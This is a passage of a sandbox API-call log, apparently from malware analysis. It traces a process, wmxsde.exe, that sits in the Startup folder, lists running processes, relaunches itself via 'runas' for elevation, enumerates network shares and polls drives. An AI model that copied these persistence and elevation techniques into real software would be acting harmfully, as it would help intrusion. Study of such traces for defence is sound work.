pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0204.745] lstrlenW (lpString="msoia.exe") returned 9 [0204.745] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0204.746] lstrlenW (lpString="explorer.exe") returned 12 [0204.746] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0204.747] lstrlenW (lpString="SearchUI.exe") returned 12 [0204.747] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0204.748] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0204.748] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0204.749] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0204.749] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0204.750] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0204.750] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0204.751] lstrlenW (lpString="wmxsde.exe") returned 10 [0204.770] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0204.771] lstrlenW (lpString="dllhost.exe") returned 11 [0204.771] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0204.772] lstrlenW (lpString="wmxsde.exe") returned 10 [0204.772] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.773] lstrlenW (lpString="svchost.exe") returned 11 [0204.773] Process32NextW (in: hSnapshot=0x2c4, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0204.774] CloseHandle (hObject=0x2c4) returned 1 [0204.774] Sleep (dwMilliseconds=0x1f4) Thread: id = 35 os_tid = 0xdfc [0157.309] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x775d40 [0157.309] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x7acdf8 [0157.309] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x775e18 [0157.310] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775e18, Size=0x20) returned 0x74d9c8 [0157.310] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x775f80 [0157.310] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775f80, Size=0x20) returned 0x74d9f0 [0157.310] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0157.310] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0157.310] Wow64DisableWow64FsRedirection (in: OldValue=0x26eff20 | out: OldValue=0x26eff20*=0x0) returned 1 [0157.310] lstrlenW (lpString="kernel32.dll") returned 12 [0157.310] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d9c8 | out: hHeap=0x710000) returned 1 [0157.310] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.310] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d9f0 | out: hHeap=0x710000) returned 1 [0157.310] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7acdf8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe")) returned 0x47 [0157.319] ShellExecuteExW (in: pExecInfo=0x26eff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x26eff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0200.514] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c3300 [0200.514] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c3300, Size=0x20) returned 0x459f830 [0200.514] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c34e0 [0200.514] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c34e0, Size=0x20) returned 0x459f588 [0200.514] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0200.515] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0200.515] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0200.518] lstrlenW (lpString="kernel32.dll") returned 12 [0200.518] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f588 | out: hHeap=0x710000) returned 1 [0200.518] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0200.518] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f830 | out: hHeap=0x710000) returned 1 [0200.518] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7acdf8 | out: hHeap=0x710000) returned 1 [0200.518] lstrlenW (lpString="runas") returned 5 [0200.518] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x775d40 | out: hHeap=0x710000) returned 1 [0200.518] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0200.518] ReleaseMutex (hMutex=0x1ec) returned 1 [0200.518] Sleep (dwMilliseconds=0x1f4) [0202.263] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0202.264] ReleaseMutex (hMutex=0x1ec) returned 1 [0202.264] Sleep (dwMilliseconds=0x1f4) [0202.913] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0202.913] ReleaseMutex (hMutex=0x1ec) returned 1 [0202.913] Sleep (dwMilliseconds=0x1f4) [0203.589] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0203.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x752a58 | out: hHeap=0x710000) returned 1 Thread: id = 36 os_tid = 0xe00 [0157.363] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x775fb0 [0157.363] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775fb0, Size=0x20) returned 0x74d9a0 [0157.363] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d9a0, Size=0x40) returned 0x727468 [0157.363] GetLogicalDrives () returned 0x4 [0157.363] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x7bd620 [0157.364] GetComputerNameW (in: lpBuffer=0x7bd624, nSize=0x27eff64 | out: lpBuffer="NQDPDE", nSize=0x27eff64) returned 1 [0157.364] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1000) returned 0x7cd628 [0157.364] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x27eff34 | out: lphEnum=0x27eff34*=0x726638) returned 0x0 [0157.365] WNetEnumResourceW (in: hEnum=0x726638, lpcCount=0x27eff30, lpBuffer=0x7cd628, lpBufferSize=0x27eff38 | out: lpcCount=0x27eff30, lpBuffer=0x7cd628, lpBufferSize=0x27eff38) returned 0x103 [0157.365] WNetCloseEnum (hEnum=0x726638) returned 0x0 [0157.365] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x27eff34 | out: lphEnum=0x27eff34*=0x72a588) returned 0x0 [0157.774] WNetEnumResourceW (in: hEnum=0x72a588, lpcCount=0x27eff30, lpBuffer=0x7cd628, lpBufferSize=0x27eff38 | out: lpcCount=0x27eff30, lpBuffer=0x7cd628, lpBufferSize=0x27eff38) returned 0x0 [0157.774] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1000) returned 0x790108 [0157.774] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7cd628, lphEnum=0x27eff08 | out: lphEnum=0x27eff08*=0x7264b8) returned 0x0 [0158.288] WNetEnumResourceW (in: hEnum=0x7264b8, lpcCount=0x27eff04, lpBuffer=0x790108, lpBufferSize=0x27eff0c | out: lpcCount=0x27eff04, lpBuffer=0x790108, lpBufferSize=0x27eff0c) returned 0x103 [0158.288] WNetCloseEnum (hEnum=0x7264b8) returned 0x0 [0158.288] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1000) returned 0x7ff540 [0158.289] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7cd648, lphEnum=0x27eff08 | out: lphEnum=0x27eff08*=0x0) returned 0x4b8 [0173.792] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1000) returned 0x45a9770 [0173.792] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7cd668, lphEnum=0x27eff08 | out: lphEnum=0x27eff08*=0x0) returned 0x4c6 [0173.799] WNetEnumResourceW (in: hEnum=0x72a588, lpcCount=0x27eff30, lpBuffer=0x7cd628, lpBufferSize=0x27eff38 | out: lpcCount=0x27eff30, lpBuffer=0x7cd628, lpBufferSize=0x27eff38) returned 0x103 [0173.799] WNetCloseEnum (hEnum=0x72a588) returned 0x0 [0173.799] GetLogicalDrives () returned 0x4 [0173.799] Sleep (dwMilliseconds=0x64) [0174.230] GetLogicalDrives () returned 0x4 [0174.230] Sleep (dwMilliseconds=0x64) [0174.351] GetLogicalDrives () returned 0x4 [0174.351] Sleep (dwMilliseconds=0x64) [0174.490] GetLogicalDrives () returned 0x4 [0174.491] Sleep (dwMilliseconds=0x64) [0174.749] GetLogicalDrives () returned 0x4 [0174.749] Sleep (dwMilliseconds=0x64) [0175.412] GetLogicalDrives () returned 0x4 [0175.412] Sleep (dwMilliseconds=0x64) [0175.873] GetLogicalDrives () returned 0x4 [0175.873] Sleep (dwMilliseconds=0x64) [0176.061] GetLogicalDrives () returned 0x4 [0176.061] Sleep (dwMilliseconds=0x64) [0176.256] GetLogicalDrives () returned 0x4 [0176.256] Sleep (dwMilliseconds=0x64) [0176.696] GetLogicalDrives () returned 0x4 [0176.696] Sleep (dwMilliseconds=0x64) [0177.254] GetLogicalDrives () returned 0x4 [0177.254] Sleep (dwMilliseconds=0x64) [0177.549] GetLogicalDrives () returned 0x4 [0177.549] Sleep (dwMilliseconds=0x64) [0177.846] GetLogicalDrives () returned 0x4 [0177.846] Sleep (dwMilliseconds=0x64) [0178.345] GetLogicalDrives () returned 0x4 [0178.372] Sleep (dwMilliseconds=0x64) [0178.752] GetLogicalDrives () returned 0x4 [0178.753] Sleep (dwMilliseconds=0x64) [0179.135] GetLogicalDrives () returned 0x4 [0179.135] Sleep (dwMilliseconds=0x64) [0179.440] GetLogicalDrives () returned 0x4 [0179.440] Sleep (dwMilliseconds=0x64) [0179.994] GetLogicalDrives () returned 0x4 [0179.995] Sleep (dwMilliseconds=0x64) [0180.264] GetLogicalDrives () returned 0x4 [0180.264] Sleep (dwMilliseconds=0x64) [0180.535] GetLogicalDrives () returned 0x4 [0180.535] Sleep (dwMilliseconds=0x64) [0180.908] GetLogicalDrives () returned 0x4 [0180.908] Sleep (dwMilliseconds=0x64) [0181.206] GetLogicalDrives () returned 0x4 [0181.206] Sleep (dwMilliseconds=0x64) [0181.562] GetLogicalDrives () returned 0x4 [0181.562] Sleep (dwMilliseconds=0x64) [0181.912] GetLogicalDrives () returned 0x4 [0181.912] Sleep (dwMilliseconds=0x64) [0182.120] GetLogicalDrives () returned 0x4 [0182.120] Sleep (dwMilliseconds=0x64) [0182.413] GetLogicalDrives () returned 0x4 [0182.413] Sleep (dwMilliseconds=0x64) [0182.577] GetLogicalDrives () returned 0x4 [0182.577] Sleep (dwMilliseconds=0x64) [0182.746] GetLogicalDrives () returned 0x4 [0182.746] Sleep (dwMilliseconds=0x64) [0182.939] GetLogicalDrives () returned 0x4 [0182.939] Sleep (dwMilliseconds=0x64) [0183.191] GetLogicalDrives () returned 0x4 [0183.191] Sleep (dwMilliseconds=0x64) [0183.337] GetLogicalDrives () returned 0x4 [0183.337] Sleep (dwMilliseconds=0x64) [0183.491] GetLogicalDrives () returned 0x4 [0183.492] Sleep (dwMilliseconds=0x64) [0183.725] GetLogicalDrives () returned 0x4 [0183.725] Sleep (dwMilliseconds=0x64) [0184.090] GetLogicalDrives () returned 0x4 [0184.090] Sleep (dwMilliseconds=0x64) [0184.583] GetLogicalDrives () returned 0x4 [0184.583] Sleep (dwMilliseconds=0x64) [0184.979] GetLogicalDrives () returned 0x4 [0184.979] Sleep (dwMilliseconds=0x64) [0185.205] GetLogicalDrives () returned 0x4 [0185.205] Sleep (dwMilliseconds=0x64) [0185.669] GetLogicalDrives () returned 0x4 [0185.669] Sleep (dwMilliseconds=0x64) [0185.943] GetLogicalDrives () returned 0x4 [0185.943] Sleep (dwMilliseconds=0x64) [0186.173] GetLogicalDrives () returned 0x4 [0186.173] Sleep (dwMilliseconds=0x64) [0186.313] GetLogicalDrives () returned 0x4 [0186.313] Sleep (dwMilliseconds=0x64) [0186.491] GetLogicalDrives () returned 0x4 [0186.491] Sleep (dwMilliseconds=0x64) [0186.851] GetLogicalDrives () returned 0x4 [0186.851] Sleep (dwMilliseconds=0x64) [0187.284] GetLogicalDrives () returned 0x4 [0187.284] Sleep (dwMilliseconds=0x64) [0187.775] GetLogicalDrives () returned 0x4 [0187.776] Sleep (dwMilliseconds=0x64) [0188.424] GetLogicalDrives () returned 0x4 [0188.424] Sleep (dwMilliseconds=0x64) [0188.589] GetLogicalDrives () returned 0x4 [0188.589] Sleep (dwMilliseconds=0x64) [0188.784] GetLogicalDrives () returned 0x4 [0188.784] Sleep (dwMilliseconds=0x64) [0188.977] GetLogicalDrives () returned 0x4 [0188.977] Sleep (dwMilliseconds=0x64) [0189.198] GetLogicalDrives () returned 0x4 [0189.198] Sleep (dwMilliseconds=0x64) [0189.438] GetLogicalDrives () returned 0x4 [0189.438] Sleep (dwMilliseconds=0x64) [0189.667] GetLogicalDrives () returned 0x4 [0189.667] Sleep (dwMilliseconds=0x64) [0189.894] GetLogicalDrives () returned 0x4 [0189.895] Sleep (dwMilliseconds=0x64) [0190.223] GetLogicalDrives () returned 0x4 [0190.223] Sleep (dwMilliseconds=0x64) [0190.350] GetLogicalDrives () returned 0x4 [0190.350] Sleep (dwMilliseconds=0x64) [0190.662] GetLogicalDrives () returned 0x4 [0190.662] Sleep (dwMilliseconds=0x64) [0191.064] GetLogicalDrives () returned 0x4 [0191.064] Sleep (dwMilliseconds=0x64) [0191.351] GetLogicalDrives () returned 0x4 [0191.351] Sleep (dwMilliseconds=0x64) [0191.674] GetLogicalDrives () returned 0x4 [0191.674] Sleep (dwMilliseconds=0x64) [0191.930] GetLogicalDrives () returned 0x4 [0191.930] Sleep (dwMilliseconds=0x64) [0192.326] GetLogicalDrives () returned 0x4 [0192.326] Sleep (dwMilliseconds=0x64) [0192.585] GetLogicalDrives () returned 0x4 [0192.585] Sleep (dwMilliseconds=0x64) [0192.825] GetLogicalDrives () returned 0x4 [0192.825] Sleep (dwMilliseconds=0x64) [0193.180] GetLogicalDrives () returned 0x4 [0193.180] Sleep (dwMilliseconds=0x64) [0193.503] GetLogicalDrives () returned 0x4 [0193.503] Sleep (dwMilliseconds=0x64) [0193.642] GetLogicalDrives () returned 0x4 [0193.642] Sleep (dwMilliseconds=0x64) [0193.758] GetLogicalDrives () returned 0x4 [0193.758] Sleep (dwMilliseconds=0x64) [0194.174] GetLogicalDrives () returned 0x4 [0194.174] Sleep (dwMilliseconds=0x64) [0194.372] GetLogicalDrives () returned 0x4 [0194.372] Sleep (dwMilliseconds=0x64) [0194.685] GetLogicalDrives () returned 0x4 [0194.685] Sleep (dwMilliseconds=0x64) [0195.074] GetLogicalDrives () returned 0x4 [0195.074] Sleep (dwMilliseconds=0x64) [0195.413] GetLogicalDrives () returned 0x4 [0195.413] Sleep (dwMilliseconds=0x64) [0195.739] GetLogicalDrives () returned 0x4 [0195.739] Sleep (dwMilliseconds=0x64) [0196.020] GetLogicalDrives () returned 0x4 [0196.020] Sleep (dwMilliseconds=0x64) [0196.340] GetLogicalDrives () returned 0x4 [0196.340] Sleep (dwMilliseconds=0x64) [0196.758] GetLogicalDrives () returned 0x4 [0196.758] Sleep (dwMilliseconds=0x64) [0196.945] GetLogicalDrives () returned 0x4 [0196.945] Sleep (dwMilliseconds=0x64) [0197.262] GetLogicalDrives () returned 0x4 [0197.262] Sleep (dwMilliseconds=0x64) [0197.475] GetLogicalDrives () returned 0x4 [0197.475] Sleep (dwMilliseconds=0x64) [0197.800] GetLogicalDrives () returned 0x4 [0197.800] Sleep (dwMilliseconds=0x64) [0197.962] GetLogicalDrives () returned 0x4 [0197.962] Sleep (dwMilliseconds=0x64) [0198.315] GetLogicalDrives () returned 0x4 [0198.315] Sleep (dwMilliseconds=0x64) [0198.492] GetLogicalDrives () returned 0x4 [0198.492] Sleep (dwMilliseconds=0x64) [0198.908] GetLogicalDrives () returned 0x4 [0198.908] Sleep (dwMilliseconds=0x64) [0199.230] GetLogicalDrives () returned 0x4 [0199.230] Sleep (dwMilliseconds=0x64) [0199.673] GetLogicalDrives () returned 0x4 [0199.673] Sleep (dwMilliseconds=0x64) [0199.866] GetLogicalDrives () returned 0x4 [0199.866] Sleep (dwMilliseconds=0x64) [0200.044] GetLogicalDrives () returned 0x4 [0200.044] Sleep (dwMilliseconds=0x64) [0200.355] GetLogicalDrives () returned 0x4 [0200.355] Sleep (dwMilliseconds=0x64) [0200.570] GetLogicalDrives () returned 0x4 [0200.570] Sleep (dwMilliseconds=0x64) [0202.258] GetLogicalDrives () returned 0x4 [0202.258] Sleep (dwMilliseconds=0x64) [0202.788] GetLogicalDrives () returned 0x4 [0202.788] Sleep (dwMilliseconds=0x64) [0203.113] GetLogicalDrives () returned 0x4 [0203.113] Sleep (dwMilliseconds=0x64) [0203.419] GetLogicalDrives () returned 0x4 [0203.419] Sleep (dwMilliseconds=0x64) [0203.649] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0203.649] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x727468 | out: hHeap=0x710000) returned 1 Thread: id = 37 os_tid = 0xe04 [0157.391] GetTickCount () returned 0x1243c [0157.391] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x24) returned 0x725488 [0157.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x725488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c [0157.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x725488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278 [0157.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x725488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0157.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x725488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0157.394] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x775ce0 [0157.394] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775ce0, Size=0x20) returned 0x74d6d0 [0157.394] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x775e18 [0157.394] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775e18, Size=0x20) returned 0x74d9a0 [0157.394] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0157.395] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0157.395] Wow64DisableWow64FsRedirection (in: OldValue=0x28eff7c | out: OldValue=0x28eff7c*=0x0) returned 1 [0157.395] lstrlenW (lpString="kernel32.dll") returned 12 [0157.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d6d0 | out: hHeap=0x710000) returned 1 [0157.395] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d9a0 | out: hHeap=0x710000) returned 1 [0157.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x754958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0157.395] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0157.844] GetTickCount () returned 0x12601 [0157.844] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0158.351] GetTickCount () returned 0x127f5 [0158.351] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0158.875] GetTickCount () returned 0x12a08 [0158.875] GetTickCount () returned 0x12a08 [0158.875] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0159.170] GetTickCount () returned 0x12b22 [0159.170] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0159.396] GetTickCount () returned 0x12c0c [0159.396] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0159.832] GetTickCount () returned 0x12dc2 [0159.832] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0160.040] GetTickCount () returned 0x12e8d [0160.040] GetTickCount () returned 0x12e8d [0160.040] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0160.485] GetTickCount () returned 0x13052 [0160.485] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0160.942] GetTickCount () returned 0x13217 [0160.942] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0161.476] GetTickCount () returned 0x1342a [0161.476] GetTickCount () returned 0x1342a [0161.476] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0161.777] GetTickCount () returned 0x13553 [0161.777] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0162.024] GetTickCount () returned 0x1364d [0162.024] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0162.422] GetTickCount () returned 0x137e3 [0162.437] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0162.916] GetTickCount () returned 0x139b8 [0162.916] GetTickCount () returned 0x139b8 [0162.916] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0163.323] GetTickCount () returned 0x13b4e [0163.323] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0163.664] GetTickCount () returned 0x13ca6 [0163.664] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0163.999] GetTickCount () returned 0x13dfe [0163.999] GetTickCount () returned 0x13dfe [0163.999] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0164.261] GetTickCount () returned 0x13ef8 [0164.261] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0164.548] GetTickCount () returned 0x14021 [0164.548] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0164.823] GetTickCount () returned 0x1412a [0164.823] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0165.245] GetTickCount () returned 0x142d0 [0165.245] GetTickCount () returned 0x142d0 [0165.245] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0166.278] GetTickCount () returned 0x146e7 [0166.278] GetTickCount () returned 0x146e7 [0166.279] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0166.685] GetTickCount () returned 0x1487d [0166.685] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0166.950] GetTickCount () returned 0x14987 [0166.950] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0167.271] GetTickCount () returned 0x14abf [0167.271] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0167.502] GetTickCount () returned 0x14baa [0167.502] GetTickCount () returned 0x14baa [0167.502] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0167.896] GetTickCount () returned 0x14d40 [0167.896] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0168.308] GetTickCount () returned 0x14ec7 [0168.308] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0168.437] GetTickCount () returned 0x14f53 [0168.437] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0168.732] GetTickCount () returned 0x1507c [0168.732] GetTickCount () returned 0x1507c [0168.732] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0168.982] GetTickCount () returned 0x15176 [0168.982] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0169.172] GetTickCount () returned 0x15232 [0169.172] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0169.329] GetTickCount () returned 0x152ce [0169.329] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0169.710] GetTickCount () returned 0x15445 [0169.710] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0170.156] GetTickCount () returned 0x1560a [0170.156] GetTickCount () returned 0x1560a [0170.156] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0170.523] GetTickCount () returned 0x15771 [0170.523] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0170.898] GetTickCount () returned 0x158e8 [0170.898] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0171.331] GetTickCount () returned 0x15aae [0171.331] GetTickCount () returned 0x15aae [0171.331] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0171.536] 